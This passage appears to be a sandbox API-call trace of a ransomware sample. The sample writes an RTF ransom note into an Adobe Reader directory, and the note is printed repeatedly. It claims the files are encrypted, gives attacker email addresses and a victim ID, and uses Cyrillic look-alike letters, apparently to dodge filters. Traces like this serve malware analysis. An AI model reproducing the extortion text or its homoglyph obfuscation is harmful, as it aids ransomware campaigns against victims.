T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.577] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.578] CloseHandle (hObject=0x1cc) returned 1 [0040.578] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\!bwng_info!.rtf")) returned 0xffffffff [0040.578] GetLastError () returned 0x2 [0040.578] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE 